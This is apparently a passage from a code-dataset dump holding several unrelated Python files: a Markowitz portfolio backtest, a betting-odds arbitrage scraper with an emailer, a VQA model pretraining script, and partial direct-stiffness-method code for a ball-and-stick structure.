\r\n volatilidad = np.sqrt(np.dot(pesos.T, np.dot(cov, pesos))) \r\n sharpe = retorno/volatilidad \r\n retornos_portafolio.append(retorno) \r\n volatilidad_portafolio.append(volatilidad) \r\n sharpe_ratio.append(sharpe) \r\n pesos_activos.append(pesos)\r\n portafolio = {'Retornos': retornos_portafolio,\r\n 'Volatilidad': volatilidad_portafolio,\r\n 'Ratio de Sharpe': sharpe_ratio}\r\n for contador, activo in enumerate(activos):\r\n portafolio[activo+' Peso'] = [Peso[contador] for Peso in pesos_activos]\r\n global combinaciones, max_sharpe, info_sharpe, pesos_optimos \r\n \r\n #Portafolio de Sharpe\r\n combinaciones = pd.DataFrame(portafolio).sort_values(by=[\"Ratio de Sharpe\"])\r\n max_sharpe = combinaciones.iloc[25000,2]#Así puedo elegir el Sharpe que me acomode, sea el min, max, mediano, etc\r\n info_sharpe = combinaciones[combinaciones[\"Ratio de Sharpe\"] == max_sharpe] \r\n pesos_optimos = info_sharpe.iloc[:,3:] \r\n\r\n#OBTENGO PORTAFOLIO OPTIMO\r\nportafolio_optimo(training) \r\n\r\n#Universo Ploteado\r\nplt.scatter(x=combinaciones[\"Volatilidad\"], y=combinaciones[\"Retornos\"], c=combinaciones[\"Ratio de Sharpe\"], cmap='RdYlBu',edgecolors=\"b\")\r\nplt.xlabel(\"Volatilidad\")\r\nplt.ylabel(\"Retornos\")\r\nplt.title(\"Rendimientos de posibles portafolios: Universo de Combinaciones\")\r\nplt.show()\r\n\r\n#Testeo Portafolio Optimo\r\nretornos_listado = market_data.loc[testing_start:,activos].pct_change().dropna().T \r\nretorno_acumulado = (np.matmul(pesos_optimos,retornos_listado)+1).cumprod()\r\n\r\nmercado = (market_data.loc[testing_start:, \"XWD.TO\"].pct_change().dropna()+1).cumprod()\r\n\r\n#Grafico Comparacion\r\ncomparacion = np.column_stack([mercado, retorno_acumulado]) \r\ncomparacion = pd.DataFrame(comparacion, columns=[\"MSCI World\", \"Portafolio Óptimo\"], index=mercado.index).dropna()-1\r\ngrafico_backtest = comparacion.plot() \r\nplt.axhline(0, color=\"black\", linewidth=1)\r\ngrafico_backtest.set_ylim(-0.1, 0.2)\r\nplt.title(\"Backtest combinaciones óptimas\")\r\nplt.show()","sub_path":"Markowitz/Markowitz vs. The World 2.py","file_name":"Markowitz vs. The World 2.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"362562045","text":"# custom module imports\nfrom scrapers import bovada\nfrom scrapers import xbet\nfrom scrapers import bookmaker\nfrom scrapers import intertops\nfrom scrapers import sportsbet\nfrom match import Match\nfrom emailer import Emailer\n\n# library imports\nimport logging\n\n\n# global constants\nSUPP_SPORTS = ['football', 'baseball']\nPROF = 'Sure Profit Opportunities'\nMUS = 'Upcoming Matchups'\n\n# init and configure logger object\nlogger = logging.getLogger(__name__)\nFORMAT = '%(asctime)s:%(levelname)s: %(message)s'\nDATEFMT = '%m/%d/%Y %I:%M:%S%p'\nFILENAME = 'output.log'\nlogging.basicConfig(filename=FILENAME, filemode='w', format=FORMAT, datefmt=DATEFMT, level=logging.INFO)\n\n\n# if better odds for a match exist in the secondary dictionary,\n# update the primary dictionary\ndef update_odds(primary, secondary):\n for key, match in secondary.items():\n if key not in primary:\n # if we've found a match not included in the original data, add it\n primary[key] = match\n\n if match.home_odds > primary[key].home_odds:\n logger.info('Found better odds for %s on %s', match.home_team, match.hodds_site)\n primary[key].home_odds = match.home_odds\n primary[key].hodds_site = match.hodds_site\n if match.away_odds > primary[key].away_odds:\n logger.info('Found better odds for %s on %s', match.home_team, match.hodds_site)\n primary[key].away_odds = match.away_odds\n primary[key].aodds_site = match.aodds_site\n\n\n# filter through all matches and look for guaranteed profit scenarios\ndef find_profit_opps(matches):\n opps = []\n for k, v in matches.items():\n if v.home_odds + v.away_odds > 0:\n opps.append(v)\n return opps\n\n\n# given a list of matches, return a list of the string representations\ndef match_strings(matches):\n strings = []\n for m in matches:\n strings.append(str(matches[m]))\n return strings\n\n\ndef main():\n logger.info('Initializing scrapers and performing web requests')\n\n # init all scraper classes\n bov = bovada.Bovada()\n xbt = xbet.Xbet()\n bkmkr = bookmaker.Bookmaker()\n inter = intertops.Intertops()\n sports = sportsbet.Sportsbet()\n\n # init emailer class and an empty message\n mailer = Emailer()\n message = ''\n\n # maintain a dictionary of match objects keyed by their match hash\n matches = {}\n for spo in SUPP_SPORTS:\n message += spo + '\\n'\n\n # use bovada as baseline odds\n bov_matches = bov.get_matches(spo)\n # add them to our master dictionary of matches\n matches.update(bov_matches)\n logger.info('Successfully retrieved %s odds from bovada.lv', spo)\n\n # retrieve sportsbet data and update for better off\n new_odds = sports.get_matches(spo)\n logger.info('Successfully retrieved %s odds from sportsbetting.ag', spo)\n update_odds(matches, new_odds)\n\n # retrieve xbet data and update for better odds\n new_odds = xbt.get_matches(spo)\n logger.info('Successfully retrieved %s odds from xbet.ag', spo)\n update_odds(matches, new_odds)\n\n # retrieve bookmaker data and update for better odds\n new_odds = bkmkr.get_matches(spo)\n logger.info('Successfully retrieved %s odds from bookmaker.eu', spo)\n update_odds(matches, new_odds)\n\n # retrieve intertops data and update for better odds\n new_odds = inter.get_matches(spo)\n logger.info('Successfully retrieved %s odds from intertops.eu', spo)\n update_odds(matches, new_odds)\n\n messages += '\\n'\n\n\n # return a list of matches with sure profit opportunities\n opps = find_profit_opps(matches)\n # get the list of upcoming matches in string form\n strings = match_strings(matches)\n\n\n # send profit opps with new line characters inserted if any are detected\n if len(opps) > 0:\n mailer.send_mail(PROF, '\\n'.join(match_strings(opps)))\n\n\n # add all upcoming matches to the message\n message.append('\\n'.join(strings))\n # uncomment to send match logs\n mailer.send_mail(MUS, message)\n\n logger.info('Execution successfully completed')\n mailer.send_log(FILENAME)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"439760364","text":"import argparse\nimport os\nimport json\nimport time\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport utils\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\nfrom torch.nn.utils.rnn import pack_padded_sequence\n\nfrom dataset import Dictionary, VQASemiDataset, VQAEDataset, VQAFullDataset, data_factory\nimport base_model\nimport pdb\n\n\ndef instance_bce_with_logits(logits, labels):\n assert logits.dim() == 2\n\n loss = nn.functional.binary_cross_entropy_with_logits(logits, labels)\n loss *= labels.size(1)\n return loss\n\n\ndef compute_score_with_logits(logits, labels):\n logits = torch.max(logits, 1)[1].data # argmax\n one_hots = torch.zeros(*labels.size()).cuda()\n one_hots.scatter_(1, logits.view(-1, 1), 1)\n scores = (one_hots * labels)\n return scores\n\n\ndef pretrain_ans(model, train_loader, eval_loader, num_epoch, output):\n optim = torch.optim.Adamax(model.parameters())\n logger = utils.Logger(os.path.join(output, 'pretrain_VQA_log.txt'))\n\n best_score = 0\n model.train(True)\n for epoch in range(num_epoch):\n total_vqa_loss = 0\n train_score = 0\n print_freq = 10\n t = time.time()\n\n for i, (v, q, a) in enumerate(train_loader):\n v = Variable(v).cuda()\n q = Variable(q).cuda()\n a = Variable(a).cuda()\n\n ans_pred = model(v, q)\n\n loss = instance_bce_with_logits(ans_pred, a)\n loss.backward()\n\n nn.utils.clip_grad_norm(model.parameters(), 0.25)\n optim.step()\n optim.zero_grad()\n\n batch_score = compute_score_with_logits(ans_pred, a.data).sum()\n total_vqa_loss += loss.data[0] * v.size(0)\n train_score += batch_score\n\n if i % print_freq == 0:\n print('Pretrain A Epoch: [{0}][{1}/{2}]\\t'\n 'Batch Time {batch_time:.3f}\\t'\n 'VQA Loss {vqa_loss:.4f}\\t'\n 'Acc {acc:.2f}\\t'\n .format(\n epoch, i, len(train_loader), vqa_loss=loss.data[0],\n acc=batch_score/v.size(0)*100, batch_time=time.time()-t))\n t = time.time()\n\n total_vqa_loss /= len(train_loader.dataset)\n train_score = 100 * train_score / len(train_loader.dataset)\n\n model.train(False)\n eval_score, upper_bound = eval_ans(model, eval_loader)\n model.train(True)\n logger.write('A epoch %d, time: %.2f' % (epoch, time.time()-t))\n logger.write('\\ttrain_loss: %.2f, train_score: %.2f' % (total_vqa_loss, train_score))\n logger.write('\\teval_score: %.2f (%.2f)' % (100 * eval_score, 100 * upper_bound))\n\n if best_score < eval_score:\n model_path = os.path.join(output, 'pretrained_VQA.pth')\n torch.save(model.state_dict(), model_path)\n\n\ndef eval_ans(model, dataloader):\n score = 0\n upper_bound = 0\n num_data = 0\n results = []\n t = time.time()\n for i, E in enumerate(dataloader):\n batch_size = E['features'].size(0)\n\n v = Variable(E['features'], volatile=True).cuda()\n q = Variable(E['question'], volatile=True).cuda()\n a = E['target'].cuda()\n #a = Variable(E['target'], volatile=True).cuda()\n\n ans_pred, _, _, _ = model.evaluate(v, q)\n batch_score = compute_score_with_logits(ans_pred, a).sum()\n score += batch_score\n\n upper_bound += (a.max(1)[0]).sum()\n num_data += ans_pred.size(0)\n\n if i % 100 == 0:\n print('Batch: [%d/%d]\\nQuestion: %s\\t Answer Prediction: %s\\n' %\n (i, len(dataloader),\n ' '.join([dataloader.dataset.question_dictionary.idx2word[w] for w in\n q[0].data.tolist() if w > 0]),\n dataloader.dataset.label2ans[ans_pred[0].max(0)[1].data[0]]))\n\n score = score / len(dataloader.dataset)\n upper_bound = upper_bound / len(dataloader.dataset)\n return score, upper_bound\n\n\ndef pretrain_gen(model, dataloader, num_epoch, output, dataset):\n optim = torch.optim.Adamax(model.generator.parameters())\n gCrit = nn.CrossEntropyLoss(reduce=True).cuda()\n logger = utils.Logger(os.path.join(output, 'pretrain_VQE_log.txt'))\n\n model.train(True)\n for epoch in range(num_epoch):\n total_vqe_loss = 0\n print_freq = 10\n t = time.time()\n\n for i, (v, q, a, c, l) in enumerate(dataloader):\n bs = v.size(0)\n l, sort_ind = l.sort(dim=0, descending=True)\n ml = l[0]\n\n v = Variable(v[sort_ind]).cuda()\n q = Variable(q[sort_ind]).cuda()\n a = Variable(a[sort_ind]).cuda()\n c = Variable(c[sort_ind]).cuda()\n\n exp_pred = model.generate(v, q, c[:, :-1], [j-1 for j in l], ml, 1.0, True)\n\n if i % 100 == 0:\n print('Explain GT: %s' % (' '.join([dataloader.dataset.explanation_dictionary.idx2word[w.data[0]]\n for id, w in enumerate(c[50]) if id < l[50]])))\n print('Explain Pred: %s' % (' '+' '.join([dataloader.dataset.explanation_dictionary.idx2word[w.data[0]]\n for id, w in enumerate(exp_pred[50].max(1)[1]) if id < (l[50]-1)])))\n\n exp_pred = pack_padded_sequence(exp_pred, [j-1 for j in l], batch_first=True)[0]\n c = pack_padded_sequence(c[:, 1:], [j-1 for j in l], batch_first=True)[0]\n\n loss = gCrit(exp_pred.cuda(), c)\n loss.backward()\n\n nn.utils.clip_grad_norm(model.parameters(), 0.25)\n optim.step()\n optim.zero_grad()\n\n total_vqe_loss += loss.data[0] * v.size(0)\n\n if i % print_freq == 0:\n print('Pretrain G Epoch: [{0}][{1}/{2}]\\t'\n 'VQE Loss {vqe_loss:.4f}\\t'\n 'Batch Time {batch_time:.3f}\\t'\n .format(\n epoch, i, len(dataloader),\n vqe_loss=loss.data[0],\n batch_time=time.time()-t))\n t = time.time()\n\n total_vqe_loss /= len(dataloader.dataset)\n logger.write('A epoch %d, time: %.2f' % (epoch, time.time()-t))\n logger.write('\\ttrain_vqe_loss: %.2f' % total_vqe_loss)\n\n model_path = os.path.join(output, 'pretrained_VQE.pth')\n generator_dict = {k: v for k, v in model.state_dict().items() if k.startswith('generator')}\n torch.save(generator_dict, model_path)\n\n\ndef pretrain_E_Enc(model, train_loader, eval_loader, num_epoch, output):\n optim = torch.optim.Adamax([\n {'params': model.e_emb.rnn.parameters()},\n {'params': model.e_net.parameters()},\n {'params': model.classifier.parameters()}\n ], lr=2e-3)\n logger = utils.Logger(os.path.join(output, 'pretrain_E_Enc_log.txt'))\n\n best_score = 0\n for epoch in range(num_epoch):\n total_vqa_loss = 0\n total_vqa_score = 0\n print_freq = 20\n t = time.time()\n\n for i, E in enumerate(train_loader):\n bs = E['features'].size(0)\n\n v = Variable(E['features']).cuda()\n q = Variable(E['question']).cuda()\n a = Variable(E['target']).cuda()\n\n ans_pred, vqe_pred, _, _ = model.evaluate(v, q)\n\n vqa_loss = instance_bce_with_logits(ans_pred, a)\n\n VQA_score = compute_score_with_logits(ans_pred, a.data).sum()\n total_vqa_loss += vqa_loss.data[0] * bs\n\n if i % print_freq == 0:\n print('Train E enc Epoch: [{0}][{1}/{2}] - Batch Time {batch_time:.3f}'\n '\\n\\tVQA Loss {vqa_loss:.4f}\\t'\n 'Acc {acc:.2f}\\t'\n .format(\n epoch, i, len(train_loader), batch_time=time.time()-t,\n vqa_loss=vqa_loss.data[0], acc=VQA_score/bs*100\n ))\n t = time.time()\n\n vqa_loss.backward()\n\n nn.utils.clip_grad_norm(model.parameters(), 0.25)\n optim.step()\n optim.zero_grad()\n\n total_vqa_loss /= len(train_loader.dataset)\n total_vqa_score = 100 * total_vqa_score / len(train_loader.dataset)\n\n model.train(False)\n eval_score, upper_bound = eval_ans(model, eval_loader)\n model.train(True)\n\n logger.write('E Enc epoch %d, time: %.2f' % (epoch, time.time()-t))\n logger.write('\\ttrain_loss: %.2f, train_score: %.2f' % (total_vqa_loss, total_vqa_score))\n logger.write('\\teval_score: %.2f (%.2f)' % (100 * eval_score, 100 * upper_bound))\n if best_score < eval_score:\n model_path = os.path.join(output, 'pretrained_E_Enc.pth')\n torch.save(model.state_dict(), model_path)\n best_score = eval_score\n\n\ndef pretrain(model, train_loader, eval_loader, num_epoch, output):\n optim = torch.optim.Adamax(model.parameters(), lr=2e-3)\n gCrit = nn.CrossEntropyLoss(reduce=True).cuda()\n\n logger = utils.Logger(os.path.join(output, 'pretrain_log.txt'))\n\n best_score = 0\n for epoch in range(num_epoch):\n total_vqa_loss = 0\n total_vqe_loss = 0\n total_vqa_score = 0\n labeled_cnt = 0\n print_freq = 20\n t = time.time()\n\n for i, E in enumerate(train_loader):\n bs = E['features'].size(0)\n l, sort_ind = E['exp_len'].sort(dim=0, descending=True)\n ml = l[0]\n L = (l > 0).sum()\n labeled_cnt += L\n\n v = Variable(E['features'][sort_ind]).cuda()\n q = Variable(E['question'][sort_ind]).cuda()\n c = Variable(E['explain'][sort_ind]).cuda()\n a = Variable(E['target'][sort_ind]).cuda()\n\n vqe_logits_gen, _, joint_vq_gen = model.generate(v[L:], q[L:])\n vqe_logits_gt, _, joint_vq_gt = model.generate(v[:L], q[:L], c[:L], [j-1 for j in l[:L]], ml, tf=True)\n gt_emb = model.dec_enc(None, c[:L])\n gen_emb = model.dec_enc(vqe_logits_gen)\n gt_enc = model.e_net(gt_emb)\n gen_enc = model.e_net(gen_emb)\n enc = torch.cat([gt_enc, gen_enc], 0)\n joint_vq = torch.cat([joint_vq_gt, joint_vq_gen], 0)\n joint_vqe = joint_vq * enc\n ans_pred = model.classifier(joint_vqe)\n\n exp_pred = pack_padded_sequence(vqe_logits_gt, [j-1 for j in l[:L]], batch_first=True)[0]\n p_c = pack_padded_sequence(c[:L, 1:], [j-1 for j in l[:L]], batch_first=True)[0]\n\n vqa_loss = instance_bce_with_logits(ans_pred, a)\n vqe_loss = gCrit(exp_pred.cuda(), p_c)\n\n VQA_score = compute_score_with_logits(ans_pred, a.data).sum()\n total_vqa_loss += vqa_loss.data[0] * bs\n total_vqa_score += VQA_score\n total_vqe_loss += vqe_loss.data[0] * L\n\n if i % print_freq == 0:\n print('Pretrain Epoch: [{0}][{1}/{2}] - Batch Time {batch_time:.3f}'\n '\\n\\tVQA Loss {vqa_loss:.4f}\\t'\n 'Acc {acc:.2f}\\n\\t'\n 'VQE Loss {vqe_loss:.4f}'\n .format(\n epoch, i, len(train_loader), batch_time=time.time()-t,\n vqa_loss=vqa_loss.data[0], acc=VQA_score/bs*100,\n vqe_loss=vqe_loss.data[0]\n ))\n t = time.time()\n\n loss = vqa_loss + vqe_loss\n loss.backward()\n\n nn.utils.clip_grad_norm(model.parameters(), 0.25)\n optim.step()\n optim.zero_grad()\n\n total_vqa_loss /= len(train_loader.dataset)\n total_vqe_loss /= labeled_cnt\n total_vqa_score = 100 * total_vqa_score / len(train_loader.dataset)\n\n model.train(False)\n eval_score, upper_bound = eval_ans(model, eval_loader)\n model.train(True)\n\n logger.write('Pretrain epoch %d, time: %.2f' % (epoch, time.time()-t))\n logger.write('\\ttrain vqa loss %.4f' % total_vqa_loss)\n logger.write('\\ttrain vqa score %.2f' % total_vqa_score)\n logger.write('\\ttrain vqe loss: %.4f' % total_vqe_loss)\n logger.write('\\teval_vqa_score: %.2f (%.2f)' % (100 * eval_score, 100 * upper_bound))\n if best_score < eval_score:\n model_path = os.path.join(output, 'pretrained_vqae_enc_gt.pth')\n torch.save(model.state_dict(), model_path)\n best_score = eval_score\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--epochs', type=int, default=30)\n parser.add_argument('--num_hid', type=int, default=1024)\n parser.add_argument('--att_dim', type=int, default=512)\n parser.add_argument('--decode_dim', type=int, default=1024)\n parser.add_argument('--model', type=str, default='newatt_2')\n parser.add_argument('--share_qe_dict', type=bool, default=False)\n parser.add_argument('--train_set', type=str, default='VQA2', choices=['VQAE', 'VQA2', 'VQAF'])\n parser.add_argument('--val_set', type=str, default='VQA2', choices=['VQAE', 'VQA2', 'VQAF'])\n parser.add_argument('--output', type=str, default='saved_models/semi_pA15_pE20_GAN_VQAE')\n parser.add_argument('--batch_size', type=int, default=512)\n parser.add_argument('--seed', type=int, default=1111, help='random seed')\n parser.add_argument('--resume', type=bool, default=False)\n parser.add_argument('--pretrain', type=str, default='VQA', choices=['VQA', 'VQE', 'vqae'])\n parser.add_argument('--pretrained', type=str, default=None)\n parser.add_argument('--evaluate', type=str, default=None)\n parser.add_argument('--parallel', type=bool, default=False)\n args = parser.parse_args()\n\n vocab_source = 'VQA2' #args.train_set[-4:]\n target_source = 'VQA2_2_VQA2' #vocab_source + '_2_' + args.val_set\n\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed(args.seed)\n torch.backends.cudnn.benchmark = True\n\n if args.share_qe_dict:\n qe_dict = Dictionary.load_from_file(os.path.join('data', vocab_source, 'question_explain_dictionary.pkl'))\n q_emb_file = os.path.join('data', vocab_source, 'glove6b_init_300d_question_explain.npy')\n c_emb_file = q_emb_file\n else:\n q_dict = Dictionary.load_from_file(os.path.join('data', vocab_source, 'question_dictionary.pkl'))\n c_dict = Dictionary.load_from_file(os.path.join('data', vocab_source, 'explain_dictionary.pkl'))\n q_emb_file = os.path.join('data', vocab_source, 'glove6b_init_300d_question.npy')\n c_emb_file = os.path.join('data', vocab_source, 'glove6b_init_300d_explain.npy')\n\n if args.evaluate is not None:\n args.train_set = args.val_set\n\n train_dset = data_factory(args.train_set, 'train', q_dict, c_dict, os.path.join('cache', target_source))\n eval_dset = data_factory(args.val_set, 'val', q_dict, c_dict, os.path.join('cache', target_source))\n batch_size = args.batch_size\n\n train_loader = DataLoader(train_dset, batch_size, shuffle=True, num_workers=1)\n eval_loader = DataLoader(eval_dset, batch_size, shuffle=True, num_workers=1)\n\n constructor = 'build_%s_%s' % (args.pretrain, args.model)\n model = utils.model_factory(constructor, train_dset, args.num_hid, args.att_dim, args.decode_dim).cuda()\n\n if args.resume or (args.evaluate is not None):\n model_path = os.path.join(args.output, args.evaluate)\n model_state = torch.load(model_path)\n model.load_state_dict(model_state)\n elif args.pretrained is not None:\n pretrained_path = os.path.join(args.output, args.pretrained)\n pretrained_dict = torch.load(pretrained_path)\n model_dict = model.state_dict()\n pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict}\n model_dict.update(pretrained_dict)\n model.load_state_dict(model_dict)\n else:\n print('From Scratch...')\n model.w_emb.init_embedding(q_emb_file)\n if args.pretrain == 'VQE':\n model.generator.init_embedding(c_emb_file)\n\n print('Model has {} parameters in total'.format(utils.params_count(model)))\n\n if args.parallel:\n model = nn.DataParallel(model).cuda()\n\n if args.evaluate is not None:\n model.train(False)\n eval_score, bound = eval_ans(model, eval_loader)\n print('\\teval score: vqa = %.2f' % (100 * eval_score))\n elif args.pretrain == 'VQA':\n pretrain_ans(model, train_loader, eval_loader, args.epochs, args.output)\n elif args.pretrain == 'VQE':\n pretrain_gen(model, train_loader, args.epochs, args.output, args.train_set)\n elif args.pretrain == 'vqae':\n #pretrain_E_Enc(model, train_loader, eval_loader, args.epochs, args.output)\n pretrain(model, train_loader, eval_loader, args.epochs, args.output)\n else:\n ValueError\n","sub_path":"vqae_dec_and_enc/pretrain.py","file_name":"pretrain.py","file_ext":"py","file_size_in_byte":16737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"435863233","text":"from barrel import *\nimport numpy as np\n\n###############################################################\n# get stick block dict from ball and stick file\nclass StickBlockDict:\n\t\"\"\"\tget stick orientation dict from barrel data\n\t\"\"\"\n\tdef __init__(self, barrel):\n\t\tself.orientdict = {} # stick orientation dict\n\t\tself.typedict = {} # stick type dict\n\n\t\tbls = barrel.balls\n\t\tstks = barrel.sticks\n\n\t\t# loop over sticks\n\t\tfor i in range(len(stks)):\n\t\t\tid1, id2 = stks[i].getballpair()\n\t\t\tself.typedict[(id1,id2)] = stks[i].gettype()\n\t\t\tcoord1 = bls[id1].getcoord() # ball1 coord\n\t\t\tcoord2 = bls[id2].getcoord() # ball2 coord\n\t\t\tstkvec = coord1 - coord2 # stick vector\n\t\t\tso = stkvec / np.linalg.norm(stkvec) # stick orientation\n\t\t\tso = so.reshape((1,3))\n\t\t\t# calculate sblock\n\t\t\t# sblock(ijpair)=| ll lm ln |\n\t\t\t#\t\t\t\t| lm mm mn |\n\t\t\t#\t\t\t\t| ln mn nn |\n\t\t\tself.orientdict[id1, id2] = np.dot(so.T,so)\n\n\tdef __getitem__(self, ijpair):\n\t\tdefaultval = np.zeros((3,3))\n\t\ti,j = min(ijpair), max(ijpair)\n\t\treturn self.orientdict.get((i,j), defaultval)\n\n\tdef get_type(self, ijpair):\n\t\t\"\"\"\tget stick type of i,j pair\n\t\t\tif no i j pair, return NULL as type code\n\t\t\"\"\"\n\t\ti,j = min(ijpair), max(ijpair)\n\t\treturn self.typedict.get((i,j), Stick.Type.NULL)\n\n\n###############################################################\n# class of the equation system for direct stiffness method\nclass StiffnessEquSys:\n\t\"\"\"\tStiffness equation system to solve displacement u\n\t\tf = K * u\n\t\"\"\"\n\n\tdef __init__(self, barrel, fassigner, kassigner):\n\t\tself.barrel = barrel\n\t\tself.balls = barrel.balls\n\t\tself.ballnum = len(self.balls)\n\t\tself.sticks = barrel.sticks\n\t\tself.sticknum = len(self.sticks)\n\t\tself.fassigner = fassigner\n\t\tself.kassigner = kassigner\n\t\tself.k_mat = self._get_k_mat_()\n\t\tself.f_vec = self._get_f_vec_()\n\n\tdef _get_k_mat_(self):\n\t\t\"\"\"construct K matrix for direct stiffness method\"\"\"\n\t\tsbd = StickBlockDict(self.barrel)\n\t\t# K matrix 3nx3n\n\t\tk_mat = np.zeros((3*self.ballnum, 3*self.ballnum))\n\t\t# loop over stick\n\t\tfor l in range(self.sticknum):\n\t\t\ti, j = self.sticks[l].getballpair()\n\t\t\tk = self.kassigner.get_k(self.barrel, l)\n\t\t\tsblock = k * sbd[i,j]\n\t\t\tk_mat[ [[3*i],[3*i+1],[3*i+2]], [3*i,3*i+1,3*i+2] ] += sblock\n\t\t\tk_mat[ [[3*j],[3*j+1],[3*j+2]], [3*j,3*j+1,3*j+2] ] += sblock\n\t\t\tk_mat[ [[3*i],[3*i+1],[3*i+2]], [3*j,3*j+1,3*j+2] ] -= sblock\n\t\t\tk_mat[ [[3*j],[3*j+1],[3*j+2]], [3*i,3*i+1,3*i+2] ] -= sblock\n\t\t# get rows and cols associated with free balls\n\t\tfree_rows = []\n\t\tfree_cols = []\n\t\tfor i in range(self.ballnum):\n\t\t\tif self.balls[i].getfacing()!=Ball.Facing.SP:\n\t\t\t\tfree_rows += ( [3*i], [3*i+1], [3*i+2] )\n\t\t\t\tfree_cols += ( 3*i, 3*i+1, 3*i+2 )\n\t\tk_mat = k_mat[free_rows, free_cols]\n\t\treturn k_mat\n\n\tdef _get_f_vec_(self):\n\t\t#f_vec = np.empty((self.ballnum,))\n\t\t#for i in range(self.ballnum):\n\t\t#\tf_vec[i] = self.fassigner(self.barrel, i)\n\t\t#return f_vec\n return self.fassigner.assign(self.barrel)\n\n\tdef solve(self):\n\t\t\"\"\"solve dsm to get displacement u\"\"\"\n\t\tu = np.linalg.solve(self.k_mat, self.f_vec)\n\t\tu = u.reshape(u.size/3,3)\n\t\tself.result = {'u':u}\n\n\n###############################################################\n###############################################################\n# get displacement difference dict (i,j) : ui-uj\nclass DispDiffDict:\n\t\"\"\"\tget displacement difference dict from displacement file\n\t\"\"\"\n\tdef __init__(self, barrel):\n\t\tdisp = barrel.balls[0].getcoord() - barrel.pdbballs[0].getcoord()\n\t\tfor i in range(1, barrel.aanum):\n\t\t\tdisp = np.vstack(( disp, barrel.balls[i].getcoord() - barrel.pdbballs[i].getcoord() ))\n\t\tself.dddict = {}\n\t\tfor i in range(len(disps)):\n\t\t\tfor j in range(i+1, len(disps)):\n\t\t\t\tself.dddict[i,j] = (disps[i]-disps[j]).reshape(3,1)\n\n\tdef __getitem__(self, ijpair):\n\t\tdefaultval = np.zeros((3,1))\n\t\ti,j = ijpair\n\t\tif i > j:\n\t\t\treturn -self.dddict.get((j,i), defaultval)\n\t\telse:\n\t\t\treturn self.dddict.get((i,j), defaultval)\n\n\n###############################################################\n###############################################################\n# Displace equation system to solve stiffness k\nclass DisplacementEquSys:\n\t\"\"\"\tDisplacement equation system to solve stiffness k\n\t\tf = ba_mat * k\n\t\"\"\"\n\n\tdef __init__(self, barrel=None, fassigner=None, ktypeassinger=None):\n\t\tself.fassigner = fassigner\n\t\tself.ktypeassinger = ktypeassinger\n\t\tself.ba_mats = []\n\t\tif barrel != None:\n\t\t\tself.barrel = [barrel]\n\t\t\tself.ba_mats = [self._get_ba_mat_()]\n\t\t\tself.f_vecs = [self._get_f_vec_()]\n\t\t\tself.secnum = 1\n\t\telse:\n\t\t\tself.barrel = []\n\t\t\tself.ba_mats = []\n\t\t\tself.f_vecs = []\n\t\t\tself.secnum = 0\n\n\tdef _get_f_vec_(self):\n\t\t#TODO\n\t\tpass\n\n\tdef _get_ba_mat_(self):\n\t\t\"\"\"get BA matrix\"\"\"\n\t\tddd = DispDiffDict(self.barrel)\n\t\tsbd = StickBlockDict(self.barrel)\n\t\t# number of total k\n\t\tt = self.ktypeassinger.typenum\n\t\t# matrix for [ Bi * Ai ] \n\t\tba_mat = np.empty((3*self.barrel.aanum,t))\n\t\t# loop over all ball ij pair\n\t\tfor i in range(self.barrel.aanum):\n\t\t\t# submatrix [ si.*(ui-u.) ] 3xn\n\t\t\tsu_i_ = np.empty((3,self.barrel.aanum))\n\t\t\t# type assignment matrix Ai nxt\n\t\t\ta_i = np.empty((self.barrel.aanum,t))\n\t\t\tfor j in range(self.barrel.aanum):\n\t\t\t\tsu_i_[[[0],[1],[2]],[j]] = np.dot( sbd[i,j], ddd[i,j] )\n\t\t\t\ta_i[[j]] = self.ktypeassinger.get_assign_vec(\n\t\t\t\t\t\tsbd.get_type((i,j)),\n\t\t\t\t\t\tself.barrel.balls[i].getfacing(),\n\t\t\t\t\t\tself.barrel.balls[j].getfacing())\n\t\t\tba_mat[[3*i, 3*i+1, 3*i+2]] = np.dot( su_i_, a_i )\n\t\treturn ba_mat\n\n\t#TODO\n#\tdef divide_system(self, seciddict):\n#\t\t\"\"\"divide f and ba_mat into fs and ba_mats according to sections\"\"\"\n#\t\tself.secnum = len(seciddict)\n#\t\tself.fs = [ self.f[ seciddict[i], : ] for i in range(self.secnum) ]\n#\t\tself.ba_mats = [ self.ba_mat[ seciddict[i], : ] for i in range(self.secnum) ]\n#\t\t#for i in range(len(seciddict)):\n#\t\t#\tself.fs.append(self.f[ seciddict[i], : ])\n#\t\t#\tself.ba_mats.append(self.ba_mat[ seciddict[i], : ])\n#\t\treturn seciddict\n\n\tdef __add__(self, other):\n\t\t\"\"\"overload + operator to stack equantion system from different barrel in the same section together\"\"\"\n\t\tassert(self.secnum == other.secnum)\n\t\tnew = DisplacementEquSys()\n\t\tnew.secnum = self.secnum\n\t\tnew.f_vecs = []\n\t\tnew.ba_mats = []\n\t\tif len(self.ba_mats) == 0 and len(other.ba_mats) == 0:\n\t\t\tpass\n\t\telif len(self.ba_mats) == 0:\n\t\t\tnew.fs = [ np.vstack((other.f_vecs[i],)) for i in range(new.secnum) ]\n\t\t\tnew.ba_mats = [ np.vstack((other.ba_mats[i],)) for i in range(new.secnum) ]\n\t\telif len(other.ba_mats) == 0:\n\t\t\tnew.fs = [ np.vstack((self.f_vecs[i],)) for i in range(new.secnum) ]\n\t\t\tnew.ba_mats = [ np.vstack((self.ba_mats[i],)) for i in range(new.secnum) ]\n\t\telse:\n\t\t\tnew.f_vecs = [ np.vstack((self.fs[i],other.fs[i])) for i in range(new.secnum) ]\n\t\t\tnew.ba_mats = [ np.vstack((self.ba_mats[i],other.ba_mats[i])) for i in range(new.secnum) ]\n\t\treturn new\n\n\tdef solve(self, notrelative = False):\n\t\t\"\"\"sovle: f = ba_mat * k\"\"\"\n\t\tself.result = {'ks':[], 'residues':[], 'ranks':[], 'singulars':[]}\n\t\tfor i in range(len(self.fs)):\n\t\t#for i in range(self.secnum):\n\t\t\t# normalize k to get relative 